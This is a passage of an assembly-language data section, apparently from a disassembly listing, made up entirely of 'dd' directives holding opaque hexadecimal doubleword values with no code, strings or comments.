0AB944AD4h dd 0DDE6FC32h, 0C4A8C625h, 70CEEAE9h, 79001A55h, 0B023E3E1h dd 8AEA32BEh, 5DC57EF0h, 0CE045285h, 457049Ah, 0EE3A76D1h dd 0CAEB50CEh, 0CFEAE17Ah, 3185001Ch, 5B503D18h, 5AA01222h dd 88EF1BEBh, 260D7661h, 87F20178h, 0ADE0501Eh, 510BA8Fh dd 0D5633894h, 0B29A9441h, 81FA6163h, 95067781h, 0F4064760h dd 0EE36661Dh, 94AC2C0Ah, 0BEB422FFh, 0B47DD40Ch, 0F8045904h dd 14DD286Ch, 0BCB5C1h, 84AC2435h, 21150A96h, 1639D3D8h dd 0EDA99AF0h, 3168C8E4h, 74339819h, 0C2D1DD87h, 539466F0h dd 0F8876099h, 2C62E22Bh, 45EEF8A7h, 58BA6A13h, 0B471BEC1h dd 9F562550h, 0F2AF1460h, 1CAB0678h, 68C812Dh, 2AB5AAFCh dd 1D9D8DFh, 0FF0265FFh, 6F9C4F31h, 10275462h, 0EA441234h dd 550EDCFCh, 5ED50534h, 53CCAA9Dh, 62E71175h, 5D79A380h dd 25A9B11Ch, 0BA2E954Bh, 32C3287Bh, 7CA88B21h, 40727CA5h dd 8FA94654h, 45D7D02Fh, 98C6E496h, 493495A0h, 0A728E115h dd 3B0A7D4Ch, 0AA8B66Eh, 0E4940AEFh, 640F0813h, 0CB62A598h dd 0E910C9A8h, 41A0738Bh, 0AA758BAFh, 0CDB3F4A8h, 0D6519101h dd 0BCA0F1C2h, 0BE8464BBh, 4217DA28h, 1A021C8Ah, 9AF56BEBh dd 67A410CAh, 43EA8D3Ch, 0E4F0498h, 0D31F9400h, 1947105Ch dd 4D2D59E2h, 465F42C0h, 0A8A38929h, 0C80FAF36h, 0BBFEBC9h dd 0FBA125E2h, 0CA5416ACh, 586534D3h, 588FC26Eh, 0B5DDA294h dd 2F01AE93h, 58370528h, 59304BA4h, 330B8F7h, 0B8A656C6h dd 0BFD0BA8Ah, 6FB049E4h dd 8FF11DFEh, 89DD089Eh, 0B2BB2D1Dh, 49B88091h, 8E140B3Bh dd 0FBEBB47Ch, 2B10044Ah, 7537917Fh, 7EA85545h, 40999E58h dd 1B3CD400h, 0A097165Dh, 5F1BC4D1h, 0DAA74985h, 3AD845DAh dd 65C10EF8h, 5FDBB833h, 6E7869F0h, 515D3EA8h, 0E3150033h dd 105DF200h, 8E96DA28h, 80974C84h, 1F70496Ah, 0D456BB41h dd 77B05D9Dh, 3079F2A6h, 1DD22EB7h, 0BA49FA0Ch, 35B120Dh dd 0A6083EC2h, 0D182E1BBh, 0A45FAD66h, 1A5C9630h, 92BFF143h dd 0E19DDC0Ch, 7D328CA7h, 73FD31Bh, 0F7252EAh, 0D01745FFh dd 9140A204h, 0D7794982h, 4D4A7980h, 0AFA7B57Eh, 0F0188047h dd 0C1748B0Ch, 0FA04FE05h, 511E909h, 70E51277h, 48866BA4h dd 561020E1h, 694E2622h, 55DD4EA0h, 0AC3752A2h, 0B59A4028h dd 985F900Eh, 3C9F981Bh, 0A486DA3Fh, 0F58C85FDh, 4AA893C5h dd 11C863h, 0BE3E0591h, 22C8C34h, 9436B756h, 843471A6h dd 1611994Dh, 866FDC7Ah, 86083206h, 30CC5F39h, 0D45DC37Fh dd 8B7A56D7h, 9966A91Bh, 264728EEh, 534B2DDFh, 0F0C07519h dd 2B69AFDCh, 51951207h, 3C75B677h, 6879CEA2h, 0F7212D62h dd 54C722A8h, 9D1817ADh, 7E767518h, 28A5639Dh, 3595522h dd 483AA269h, 69A9CDCh, 0EAFAE39Fh, 82C3DA24h, 23F32F4Ah dd 7D72BF76h, 19FDC1FAh, 0F518BD81h, 0ACAA8039h, 0BECB4042h dd 207B1F62h, 51BD180Bh, 1F52BE75h, 36633D67h, 0D5C279C0h dd 8187E6ACh, 0AA17A412h, 10AFCC4h, 84716637h, 0E740B36Ah dd 23EA8BEh, 8AEFA3DAh, 0DD4DB2B8h, 0A0E5B15Bh, 8ADAAF11h dd 84316FA6h, 55153A18h, 6D24A49Ah, 0ED1BBF96h, 715EBFF0h dd 760E4823h, 5E65BEB2h, 0C48FB1Ch, 5A022205h, 0B4603138h dd 8943BE82h, 271C0928h, 0AAB1F19Dh, 8ABA8755h, 3045A389h dd 0E261C4ADh, 65380146h, 0FAA032E0h, 0B4551301h, 2FB94EEEh dd 76A04EB6h, 0CC54B363h, 1492FDBBh, 0B082D536h, 6979602Fh dd 0A20A3748h, 1435ED4Ah, 0E09A0F5Ch, 0CAB5F26h, 0D0B0A832h dd 1D81E232h, 0FB4C7552h, 0BB56C691h, 0F3AB1A42h, 0ED46A44Dh dd 3EB29256h, 362A1CA4h, 4428BA93h, 0B090CF21h, 7DC40971h dd 4ABB504Eh, 1DB178CAh, 840473F0h, 32D64D77h, 0B80DD7F1h dd 0A2316593h, 12B59ADCh, 0D4D14243h, 8228A29Fh, 0AA2C4FE5h dd 85B7F258h, 4902311h, 16DB36D4h, 500CB50h, 407252E3h dd 0A6030CC0h, 7147D888h, 26790BA4h, 2983FC70h, 8A604C9Ah dd 0C37CD68h, 68FCB3FEh, 8DFDAE37h, 402E2E01h, 0E4438FACh dd 7DE2E978h, 9157DC0h, 0CAB28451h, 0ABB47674h, 85818B18h dd 67C41A91h, 4AA499DFh, 0A81F56F3h, 0CEAB1D34h, 2FA8497Bh dd 841FEE79h, 4B68D2h, 968F5B14h, 0E93F3182h, 63AFE0F8h dd 0A661F159h, 5215DE32h, 14484B55h, 0CB41A9F0h, 453F4439h dd 6AEA5D38h, 0FE14CDA1h, 9EE89633h, 0AA7F5576h, 4AB0C086h dd 125AD5B4h, 0A058884Ah, 0A4EBB479h, 810200D1h, 0B540F131h dd 0D03E1094h, 0B9B18042h, 0FAA73400h, 95749D5Dh, 29909EA4h dd 0A9BE0A40h, 88AB3FE5h, 0D81A5DF8h, 0CAD404C9h, 0D604E2D3h dd 0A940A80Bh, 1B959F97h, 0E0216E15h, 0C6C86F28h, 15564701h dd 0ABB88E5Eh, 4579616Dh, 3471F2D1h, 3369F488h, 67D277D3h dd 3EDF2B4Ah, 17E3DCFAh, 4EF9ED54h, 1CCF8BE4h, 0A187758h dd 0D1079341h, 29FF82ABh, 39180475h, 0BC09A382h, 450114DAh dd 25952524h, 165070C2h, 36B7D67h, 502D0124h, 0C50E187Dh dd 7CA2301Bh, 4E174069h, 39513549h, 8BBB37C0h, 69893BAEh dd 65AB5554h, 2AB4FE05h, 5136D2E9h, 0CBC41414h, 7D60AAA3h dd 4CAD54A1h, 37D796A4h, 84010742h, 0AA0A4C31h, 0D0E3EA4Dh dd 0AED2A1F8h, 85D69EB3h, 0CA038CDBh, 4B350F68h, 46A694A5h dd 25652D1Ah, 7AE3C982h, 0A30E1E8Ah, 75D9568Dh, 0EF2B12C6h dd 7655FDC1h, 457F9074h, 20C0DB93h, 0CFFF331Bh, 0F42A2AF4h dd 4D468DA6h, 31893572h, 337012h, 407CBEF3h, 97919087h dd 1BC33A8Dh, 17B8B75Fh, 48F2E601h, 728D74h, 0BA9007FCh dd 0B2E8D103h, 21575B33h, 60E2ABB7h, 4C8B0051h, 9E6F21E4h dd 3EBC2383h, 3AC2B005h, 0F092E62Eh, 273646E1h, 0EA34DE51h dd 417F7021h, 741F8DC0h, 0FB9D9FCFh, 0EDC3E13Bh, 0C863A12Bh dd 3D0E02F2h, 0C43A5B67h, 6FAD625Bh, 82040C22h, 0FE34069Bh dd 0DA38E43h, 0AB2F2919h, 7B15FD30h, 0EB9781FFh, 357ACE72h dd 0AF9A74CFh, 2D392DF2h, 0AF4A558h, 10738BEAh, 0F8863F09h dd 0DF1D945Dh, 1120449h, 872B100Ah, 8C2AD1F8h, 0F32DB99Dh dd 0F097A9Fh, 0CF56894Fh, 8F115691h, 0CDC7DC1Fh, 0C4795D51h dd 6AA23E69h, 463112AFh, 439F5654h, 74EBB758h, 0B2CA2DC6h dd 0BABD655Dh, 0F4720810h, 5E88593Fh, 40956A95h, 76256796h dd 0DD0AE1Bh, 0DA2972ACh, 34EC1458h, 6C0AA1FEh, 30F01023h dd 4100BA12h, 6A103CDFh, 76F0545Eh, 98C43437h, 0E2955979h dd 0BD23B3A8h, 17270311h, 53842D23h, 0DA7820C8h, 0B8D94F3Ch dd 9F956175h, 2750F8BDh, 0C1771B57h, 575BC6BAh, 452C0BFEh dd 0D40947F2h, 7C7BCEDEh, 980CE484h, 6B436AB5h, 0EC8B63C1h dd 59E3F560h, 3E02B721h, 1AF901E4h, 0F61F1327h, 154E1DF4h dd 582FFE30h, 2CBA9514h, 6803CDE3h, 22D5EA3Eh, 86A17AAAh dd 0A45A8452h, 284FD313h, 76193405h, 35A0D291h, 40064952h dd 900E8C41h, 2ADBA443h, 79725DDh, 0AB4A1D0Ch, 44AE8F49h dd 4655A5D2h, 4772A3F6h, 7B05F6DBh, 7BD731B7h, 0D9AD7F35h dd 0B01B6B75h, 0C12A31AFh, 989A3AECh, 9B7BEC49h, 3C4D82BFh dd 12072FA8h, 39A15D54h, 0FCB97953h, 0A11CE79Fh, 0EEAEC7F7h dd 9BE40483h, 88AD7D72h, 0D4112D8h, 6A907C03h, 0CEC51008h dd 0F79B3157h, 299BD7DCh, 7E5250A9h, 1029380h, 1A2D12Bh dd 118A6945h, 0FBD0EEC4h, 626F8BA3h, 492A923h, 0F9D7987Fh dd 66241296h, 92AECDF1h, 0EB53A241h, 0B47C2A89h, 1B21852h dd 8EF0290Eh, 0E108FC4Eh, 94290CA5h, 83010719h, 0A630540h dd 897A494Ah, 8191261h, 8A03D53Eh, 134AD256h, 4B190BADh dd 8FDCB50Bh, 2A8A4847h, 0B5C29B43h, 8D39BF19h, 91061645h dd 14D7A71Ah, 455952E3h, 0D1CE377h, 2D43DF30h, 767143DFh dd 0CCC8C755h, 692480Ah, 53FA4512h, 24A19BE6h, 14AEB28h dd 528A2B5Fh, 4761B300h, 6B28F110h, 0E7570154h, 65C091E4h dd 0D95EB1FAh, 55D8F5F9h, 174435F3h, 51EE7498h, 0CD45A643h dd 76336431h, 41C617D4h, 35BBC0h, 7CF4ED7Bh, 0A48E7DD6h dd 9AA7A5B7h, 0A9D39ABh, 4037FF2Eh, 84ACA9D9h, 1E8CC737h dd 0FE44D6h, 96261DAEh, 6CD32C8h, 690ABB90h, 0A572580Ch dd 0AF4B3AACh, 0DF3DAD2Eh, 313C11A7h, 112D4E64h, 7035E843h dd 52EB5FA2h, 2AEA5FB9h, 3299C0Ch, 22A46FAh, 0C864A4A8h dd 0A0289ACCh, 570F380Fh, 0C6D396FCh, 9299D7B1h, 5C8E7098h dd 0C3A885D9h, 0AB74D628h, 8EE0A790h, 0B355D8B9h, 0CC2A0D81h dd 0BB4151FFh, 0B022C536h, 3B0B5A2Fh, 852BE737h, 26EF9BC5h dd 2D1E45B2h, 0F692A666h, 426D54DFh, 8B2817FEh, 0BA60E3FFh dd 753112CBh, 0F952807h, 0B7E0F8D2h, 7C3B8E1Fh, 0B4F559A7h dd 0A50AA450h, 9BD47C1h, 0CC623E36h, 0F5D51CE9h, 3382EB89h dd 6B59D5Ch, 0F36A81B4h, 38A46714h, 7BC7A25Ah, 0D1A08BAEh dd 0A216C696h, 0B016817h, 8B17AFEBh, 81ABDAA1h, 0FC5B448Eh dd 3E0C2416h, 196E7398h dd 8C541273h, 4B70F9DBh, 0E129CC1Fh, 18BECBE9h, 3D50F4F7h dd 0C529AE02h, 619B20CBh, 7472002Ah, 0D18B1AAAh, 0A983C88Ah dd 0DE452228h, 0BD086F1Ch, 42D53987h, 1EE92409h, 87A41608h dd 10AC250Eh, 87E96168h, 41220A1Fh, 0EA43B867h, 70F6837Ah dd 81E60AFEh, 0A32FC8Ch, 0C24D2298h, 88A285B3h, 3D6ABC90h dd 0A25FEFD2h, 6150903Dh, 9621DF6h, 70BC2364h, 904415Bh dd 20B9F354h, 2E422DD0h, 956457B7h, 945196E1h, 0AE74C424h dd 55A71C50h, 9C07ED67h, 6EABC288h, 0E11081A2h, 2973503Ch dd 635FB061h, 97F4C6A4h, 0B0775B55h, 0C6EC0F72h, 25DC12AAh dd 44A0EEA0h, 0CACF025Bh, 0D5416168h, 0C33CD3ADh, 3D27119h dd 0C0875021h, 0D748942h, 6ACA8E94h, 3D01809Dh, 480790BAh dd 33711CEh, 0C4407A09h, 0C8C0512Dh, 48C60ABAh, 0C31BDBD8h dd 6789D061h, 9FEAC0CAh, 0DF06280Bh, 0E2553A4Ch, 0FE5E8249h dd 70090E3Ah, 0DA16B40Dh, 1B21822Dh, 7683B454h, 3B108F11h dd 116D6241h, 3BA65D82h, 70139DAh, 0A8550AEFh, 58696B38h dd 0C624C2C6h, 6A8239D5h, 0D14769Bh, 0F4EBBFC0h, 0A82CC6AEh dd 0A98C1AA0h, 2EBE292h, 7D346147h, 51CDEB39h, 74B6277Ch dd 9D98A2AFh, 0B6D2717Fh, 0EB17F889h, 1371B4Ah, 4641B541h dd 1B4E30C3h, 0A72B26B6h, 597DF5C7h, 58081E57h, 6184AA05h dd 58D71C22h, 6A80CAC2h, 6F675C73h, 33BE8C93h, 9F7387BFh dd 9A16FD39h, 98D9BEFFh, 0B9672577h, 0E0F885CFh, 3613D3BEh dd 8AB02086h, 0FB2F471Dh, 0DE5078B4h, 133EF29Ch, 0D59A5B68h dd 22509365h, 0E6EDA5F2h, 542D8426h, 78EB46FFh, 204A1907h dd 738A1BE7h, 0A4E1A13h, 7890AF81h, 0F1B00552h, 0C3413541h dd 0BE5449F2h, 8BC0E54Ch, 8D1D1133h, 11C1D2F2h, 0A1A330A8h dd 257E4AFBh, 7C683651h, 0A1E957B0h, 0CB203D41h, 33E9805Ah dd 0D2236AFEh, 0F3E62557h, 812E2588h, 1281790Dh, 745A4FBAh dd 47092796h, 548C2902h, 0E98140D1h, 2D9C4091h, 5C9BE57Fh dd 79169C1Fh, 16FF7278h, 2D989003h, 0E4DA90BEh, 28C0BE3Ah dd 234A39CAh, 8C838EC4h, 7B54A482h, 409D6495h, 249E077Dh dd 0D67450D7h, 75C88C54h, 0E19BA695h, 2FB07DB6h, 1E4D48A8h dd 945024BAh, 5B306071h, 0E5EAC51Bh, 0A5BA5131h, 399D0375h dd 0BE3381E1h, 0A904A3A0h, 518CCE11h, 0E8362DC3h, 5FB1A804h dd 9C91D5D8h, 0E984B5C9h, 42C1D5CAh, 910A23A1h, 0AC6EEDEBh dd 81F7511Bh, 0E968D510h, 1E60ABE0h, 53EE1066h, 5844A882h dd 0B47ABEACh, 629C4831h, 690C1541h, 515D5E7Ch, 670B0920h dd 32007089h, 0BF11D4A8h, 0E76CA090h, 0B06E8FDDh, 9115046Fh dd 0E437C417h, 2169168Eh, 0AAB08003h, 0BAAE04ECh, 7C06C855h dd 0D841EC71h, 97D68953h, 0B1C600D0h, 8A1CEB83h, 5301FA8h dd 5D407003h, 8361A481h, 0D440761Bh, 95D2C114h, 24BC534h dd 0B9C1340h, 88D5AFECh, 0DBD9131h, 0A38181Fh, 2AFD7948h dd 0A77DF85Fh, 4C9EB496h, 16B330C0h, 55012EFDh, 9827A8BFh dd 5A290178h, 0C8940501h, 1D0A14A8h, 0CAF4781Fh, 0A7004441h dd 9AB5208h, 156A8D40h, 12B10EDBh, 85713EF9h, 2B862534h dd 0E58A8C4h, 4EE86D60h, 60509913h, 4DE7D6C5h, 0E04FC6Eh dd 71100814h, 4962A5A3h, 512A54A1h, 45F0F9F6h, 15D46AEAh dd 6CA21A4Fh, 0B6028951h, 0AD2FC61Ch, 24E12629h, 90242A71h dd 0A2BB7188h, 0AEE3F4FAh, 51238512h, 15B97279h, 5916EA7h dd 971BA204h, 669B5FE6h, 160C5122h, 1665D874h, 4072E76h dd 14C5C05Ah, 891B823Bh, 0D41CCF78h, 72AFEBD4h, 32D869C8h dd 2EEE98A0h, 182F0130h, 8B8A0A5h, 7550196Fh, 73959691h dd 545E9AD9h, 6F037721h, 0D7E69A14h, 298E61D0h, 2F5F21C0h dd 0B2AC0BB9h, 0A4084D85h, 2E437893h, 6A7BA915h, 5FF9B98Ah dd 0A8A9D7B0h, 0F8EC2D20h, 0FDBA565Fh, 71FBFD20h, 0EFF080A0h dd 0B55459CDh, 31B8185Fh, 8AFDA2FEh, 12D753E0h, 1015CA3h dd 0A9FD0FE2h, 6BEBA4A9h, 0BBB0616Eh, 4BCA4EA8h, 3D29C1E4h dd 2FF4F4BBh, 0C67C985Fh, 4F7022B8h, 4E328BFEh, 604C2B18h dd 0D8628A29h, 85E83017h, 266D9564h, 0E8475E8Ch, 0D75F4239h dd 0DB5AB69h, 9FD523D0h, 59A51667h, 0B06D1E7Eh, 0E037079Eh dd 1468DE79h, 0BC465DBEh, 0F60C7657h, 942B1795h, 9BAC479Dh dd 496BF803h, 555C1DDFh, 887C79B8h, 75356598h, 3AC5ED2Bh dd 591EF8B0h, 18FFA3D0h, 598957D2h, 0F61ED43h, 2F6AEA9Bh dd 5AA07DCEh, 6874A3EAh, 0B2AA8EBEh, 0F1719166h, 1B2867FBh dd 55858914h, 0DFC0D24Bh, 6DB0450Ch, 1DB555FCh, 501BD230h dd 0A4A45898h, 32898C32h, 9301FE10h, 0C82E4986h, 2AFCF489h dd 0A3CA404h, 5A29F331h, 0CF4AD569h, 8C5B1BFCh, 0F81959Fh dd 20C66636h, 0FE5F6450h, 0FE179733h, 37F2A6F9h, 92C02035h dd 63C3B960h, 8194F0E0h, 0C7B583DEh, 928322F9h, 0D8C64945h dd 102C0B4Ah, 220A5428h, 62E7C95Ah, 0EFD8D3CAh, 0CC01B905h dd 7BAE4117h, 0A0AC5FCFh, 0D1885182h, 0BD67E72h, 0D4441A0Ah dd 6AB68A52h, 0CA5E0F8Dh, 0A78B592h, 513D0EAEh, 2791FC58h dd 2D1FA86Eh, 0C4493764h, 6DA8C0Dh, 0B5670764h, 0F3D2F100h dd 20ACE301h, 88ABEFA2h, 0FE753306h, 0D8A09A4Ch, 5662A2CCh dd 94060184h, 0ED944862h, 757821FDh, 0BD9CA11h, 0E2948D33h dd 23FD68EFh, 813DAE1Eh, 51F52A65h, 0CCEB5C43h, 1A4AE22Ah dd 9758B660h, 0B777E0EBh, 1A914BF6h, 0A8258573h, 0BA1451CBh dd 0D4D2B926h, 22AA277Eh, 0C94C09A4h, 453279h, 0F8E36953h dd 7DD55440h, 0C0F16CA5h, 27EA676Ch, 6E377791h, 373A44B0h dd 4CE32EE0h, 412EDED1h, 2EBB8EB7h, 2578A36h, 0A3120D5h dd 0AB07812Fh, 0E027FFB6h, 24F9CFFFh, 0DBA8AFB5h, 333C6Fh dd 810CBEECh, 0AEE14886h, 386AC14Bh, 0F2AF0D41h, 0BBF0EBCEh dd 0BAFE0F8h, 416E4816h, 44923E04h, 1ACD9FC7h, 8AE82414h dd 0C8E5F422h, 25A9D3Eh, 8BAC5976h, 85AF386Eh, 0A6D8C583h dd 0CEBEECD7h, 0DFAF20AAh, 0CE6F64E5h, 0AC76EB82h, 0F2AEBACBh dd 491DD049h, 9C4D55F4h, 0EC5D4FBDh, 0A7713856h, 451FCE10h dd 5224B9C0h, 0C6A8DEA5h, 0B0133010h, 0B4F5A02Bh, 0CC183711h dd 6073D76Ah, 958E5AA0h, 5F28589Ch, 0A292291Ch, 0D18858D9h dd 0BDF044DAh, 0F6098A3Fh, 0DA36B5D2h, 36AE38C4h, 0FB7E9641h dd 442FD1E1h, 0E5B53CECh, 9C0DBE2h, 2F360A91h, 0AE90C06Eh dd 0DC1C6F1h, 0A33D36CBh, 40526480h, 3DB7A873h, 1D96EDE8h dd 4308673h, 0E5B5295Fh, 51B20CDCh, 88C60B46h, 85075DA2h dd 0A3026CBAh, 0AA0303E2h, 602F48D6h, 8A1E4DDAh, 3D6DAA36h dd 0BE4C1F30h, 35D62210h, 7DE88BBEh, 879FA87Dh, 5532E04h dd 0F67AF289h, 61560655h, 0CD88154Bh, 10276F9Fh, 0DDCB30A2h dd 514B1699h, 2A789258h, 1B4670D8h, 29E82EB1h, 4302F1FAh dd 0B47067ADh, 0B40BEBB0h, 0BDF71FA7h, 431A0D21h, 7113013h dd 0CA124D7h, 38B8796h, 503294ABh, 0D8B50A34h, 8AD93406h dd 621DDB40h, 2E8468h, 27334445h, 0D8450CD4h, 0BF190079h dd 1B8223CFh, 31C46701h, 0C7779C71h, 8C6531B7h, 0AF021F3Bh dd 41DD41AEh, 0A3A0CD59h, 0F0A17316h, 59A7D2A4h, 202FDA41h dd 3594C2E9h, 72CA75A6h, 0E12AD3F3h, 18F50D27h, 5EF6B229h dd 0CB6ACBD8h, 8A822204h, 3E88ADEBh, 0D122F781h, 0D1B13064h dd 218599C8h, 3D70F22Bh dd 65A596A2h, 0FB283535h, 39B0D157h, 17D672ECh, 55629424h dd 2EF8824h, 5A6D7749h, 33109CF0h, 45F9272Bh, 9AB4FC1Fh dd 70495EBAh, 624EFD96h, 0C55824h, 0B1B9ED0Ah, 0C129A00Eh dd 7D04E316h, 8CA0DD91h, 4DCBD2AEh, 38338228h, 24C0EF0Bh dd 4B533C6Ch, 0F88A2F9Fh, 41197E10h, 474E1C49h, 0BBB476FEh dd 536B8230h, 4A4D381h, 63F94686h, 88C0410Dh, 28FA2E19h dd 0E1A04252h, 0E99967E4h, 5F3E8CA3h, 0D2D0918Ch, 0E491D106h dd 214608EFh, 8FBB57D3h, 0DFE1AF36h, 703C2B54h, 4347F384h dd 0F92066ABh, 1F857701h, 8C686BCAh, 0BCAAA0BFh, 4570FA53h dd 0D5B79761h, 6B55ECA9h, 19556AA9h, 77ECD5CCh, 4BFD97B9h dd 0A0782655h, 96564BB5h, 0B7389FF4h, 8A02554Ch, 0D8FF4997h dd 80EEFDCh, 0C27CA506h, 0E7105DA9h, 762999CEh, 0B55AA0CCh dd 7E5C81E0h, 0A789500Ch, 50DAD645h, 3C00DA8Bh, 601C432Dh dd 312C62E3h, 0AD6FD47h, 97CD7AEBh, 0A28A8982h, 0CDBA184Fh dd 85E1AC5Ah, 0F6848AD1h, 44CC5770h, 40042698h, 3625EF7h dd 15F5AEBFh, 77EB96E6h, 1216ED11h, 3D5634B4h, 0FDD89048h dd 0A354A82Eh, 92C48B48h, 0A1ED8B1Ch, 0D53A4C02h, 55AC5007h dd 45C00391h, 3166DE31h, 984462C0h, 0E0912A73h, 8AEC7725h dd 0B79CC623h, 8A6E2C0h, 4274D37h, 0F0D8A11Ch, 0F7555708h dd 55753BB8h, 0BC16FFFBh, 5B3D48F9h, 0A0BEC5E3h, 888007D2h dd 0AC03133Dh, 0D9BEA4ABh, 0B5419284h, 0A3A801C0h, 0E8F1A8EAh dd 577A7AFBh, 0E7E24FBBh, 12E50AAFh, 0EA2FD725h, 4780762Eh dd 7B3DB9F5h, 0B2CFA7C0h, 15607AFh, 39EC7C13h, 0EAF031C7h dd 3E9E5764h, 0E5E102Bh, 0E2B3422Fh, 9C69C55Fh, 5621C0AEh dd 7B00B555h, 0DECE0BEFh, 0BB1932B8h, 0AE86314Eh, 5DA8094h dd 0F0B8796Ch, 5310B62Fh, 0BAA298D8h, 0F84BFCFAh, 49AFB2Fh dd 0BFC6E572h, 0A4D6560Fh, 270DD6Ah, 22BA55C5h, 2BDBB3Dh dd 0FFD779A3h, 679D83E5h, 0B090F49Bh, 1296996Bh, 54A308CAh dd 5B1D2530h, 9502C5D6h, 2BCE6E92h, 7DFE44B5h, 0AC366433h dd 910902DBh, 0AAD7AEAEh, 18624DC4h, 0E441D430h, 79140C26h dd 69DF28A2h, 5C8C5797h, 0B6030D85h, 91043EB8h, 0AED08B03h dd 5412C867h, 0EE92F9FAh, 485195F1h, 0F370EA41h, 0B8A04BACh dd 0A083BDEh, 2255FDB2h, 3D6412B9h, 668AD93Bh, 40FBD885h dd 36E16F5Fh, 0D21D343Ah, 0FB4B895Fh, 0F661316Bh, 0AF923FDh dd 0F9204C01h, 357F3A35h, 0E5B9DC2Dh, 85DBE60Bh, 0C2395857h dd 63348954h, 0D7B5E5Dh, 0A733C5Fh, 0EBAF5D02h, 0B395380Ah dd 441E61C6h, 925937B4h, 4045EA85h, 0AC5A5755h, 0B6609DC4h dd 0BCAA4D01h, 0C239EE61h, 342A5D4Ah, 5D1D049Eh, 936B5A12h dd 1F4883A1h, 0E0C6EDCBh, 1B30CC5h, 72329975h, 0F04714FAh dd 0A2799F07h, 0F83D7100h, 822D1AB4h, 7AF81DACh, 5FF11525h dd 32731D6Ch, 37B47E75h, 538300F5h, 71F775B3h, 3C4E66Fh dd 84F316DBh, 42C48830h, 0A18B40FAh, 0BAF4583Dh, 207CA764h dd 0BC9D4345h, 0A1E6150Ch, 0C096F193h, 0D2A037CBh, 0C0B1CDA6h dd 4075A0E2h, 7059A849h, 79BF9D74h, 268A408Dh, 0E281B81Dh dd 346FFE16h, 0B7C72AEDh, 10FF58Bh, 7E3A19BEh, 970CF908h dd 0ADF80ABAh, 0CA8DA650h, 6028A29Fh, 0B855C46Dh, 7AF1F55Dh dd 8797795Fh, 44751B93h, 0B9D81788h, 7919E451h, 6D97C268h dd 0D9C5F862h, 0C681B208h, 106B38B3h, 3C07B4D0h, 37B58A71h dd 0B6E5F0C5h, 0D9C1B868h, 0C950DD28h, 0A9D06AD7h, 475630D8h dd 5D94A999h, 8525501Dh, 2FBDD9D4h, 0BA526AB2h, 0BE5BA8Fh dd 46C4343Fh, 0EF7A5581h, 98F324EBh, 790EADC5h, 5F80B49h dd 0C046BA75h, 6E118037h, 0C2AFDE23h, 0E3C0B605h, 0BFCCD919h dd 4F45650Ah, 472D6F1Fh, 0A9555F6Fh, 77B91300h, 0B501F6D5h dd 91848C7Eh, 0ABB83D34h, 0ABE95A50h, 1169BEACh, 58E6844Ah dd 0BE7CDC35h, 5041BAC0h, 0BD03F48h, 1B3B1CBh, 1A184C2Fh dd 30F16E35h, 71270B16h, 916C89E7h, 5F720392h, 410B2F0Eh dd 0CBC464A7h, 0A448990Ch, 0A4D4D90Bh, 0B48BD99Ch, 0E140830h dd 8E2685D6h, 0A32E310Dh, 989A0D8Bh, 58E0E069h, 31C03ACh dd 0A05D6AB1h, 163E4A13h, 840A62D8h, 0C1A0D40Bh, 603EEB14h dd 2E105C63h, 820B856h, 8B2E2D34h, 0BF663B34h, 0F0FDB094h dd 1B4845AAh, 0B07FB41Bh, 0DE06DFD1h, 200398CDh, 36F35B81h dd 1BFFC856h, 640ABFA1h, 3182A270h, 0FCACAA96h, 4DE4BDAAh dd 0BFB1B3ABh, 74D542A6h, 899F494Dh, 5D84B975h, 0C3CB6E73h dd 0D4C05D65h, 462C17E9h, 37AE1B8Eh, 0EC4EAE16h, 64320EBDh dd 1CB1752h, 0FBB8BB9Ah, 0BFA905C3h, 3BF55866h, 0F6198B73h dd 0DD657C5Dh, 0BB7A3BFDh, 0FFC26C6Ch, 56E7C790h, 454E7358h dd 76C59F7Eh, 60585F69h, 0E2942695h, 0DD403CD5h, 5AB457C1h dd 3167B094h, 0E8E5010h, 428F4122h, 0B61D09C4h, 0D2953BF9h dd 0B997F02Bh, 1614956Fh, 0BF3B0A6Ah, 67F62BEFh, 6C15A55Ah dd 0E9819CCDh, 271FE527h, 0AB009178h, 0F8D16976h, 908334Bh dd 0B95E791Bh, 5A1965D3h, 0EB97AEFAh, 87B92ACAh, 0ABAA5DCCh dd 0A0C22657h, 28B811A8h, 0AFF017ABh, 1430613Ah, 0ED5B8A45h dd 50B55142h, 0BDF09D1Dh, 8442AE9Ch, 63F5230Fh, 8F59ED28h dd 3A3A51BAh, 0A1BE750Dh, 2E87A57Ch, 5114128Ch, 5CEDD04Fh dd 0F0C102EFh, 48424435h, 0CD44F2B7h, 667C891Dh, 2DF1F5EEh dd 0C2207F5h, 46C04407h, 75BD27h, 0A892DF62h, 559577E9h dd 9CE68D31h, 4544DD01h, 1202CC87h, 1F07CC7Ch, 0E0BBA0A7h dd 0A898E8F2h, 5239B8E8h, 66135214h, 9B98AC0Eh, 0A8432929h dd 0FAD5A20Dh, 287117E9h, 0C76620ADh, 8DD274E5h, 618013B9h dd 0CADAF8D9h, 0A9260C8Ch, 0C733EC8Ah, 6D72617Eh, 0C5FCFC3Ch dd 0A5A637FFh, 0D9B6C0B4h, 404208F4h, 8855B840h, 9024B255h dd 0B49DA909h, 91548AA3h, 0B3A93206h, 0B184A229h, 143AB304h dd 2E978FDCh, 2E912E25h, 56ECE0B5h, 0A0A9564Eh, 156DC0D1h dd 19221562h, 974CC264h, 55A4A8EDh, 503483A4h, 51135AEh dd 551D4842h, 90948BA4h, 0B4A1A929h, 91548AA3h, 0A6423214h dd 9ADE7683h, 90C4D22Ah, 17482328h, 6E600A23h, 0D48AAA3Bh dd 618848D0h, 4551A3B6h, 98514872h, 21ADDAEEh, 8820228Dh dd 0B25C5246h, 0B2725112h, 3222314Ah, 2156B4A5h, 44929156h dd 0DE788426h, 4D222A8Eh, 0ADC20A34h, 4510AD21h, 48180A2h dd 93952888h, 91546A55h, 0AB5B329h, 2C918AB1h, 0ABA6E132h dd 2AD25476h, 246845D2h, 118B1AD3h, 1DA1C205h, 948AA455h dd 0A21D2991h, 58D0A3B7h, 551DFEE9h, 0D2108D24h, 455A955Ah dd 444598DAh, 814B435Bh, 22E91238h, 0DD80A5C9h, 7D071562h dd 4551B2EBh, 947958EAh, 0E943D2C0h, 915622A8h, 0BAC84A3Eh dd 227C847Eh, 0EA76A07Ch, 83C3A95Fh, 28774E1Fh, 9E682FB5h dd 61FB8E4Fh, 664B864h, 0FF124E00h, 0E3D9BDBh, 0E3E680BCh dd 49DD2A75h, 0D2E22A1Eh, 200C44A5h, 5971271Fh, 22700249h dd 489245E9h, 35EAB1B5h, 941D1F21h, 0A6E18DCFh, 45514AA3h dd 979D2F32h, 0ACB6D336h, 9DD422A8h, 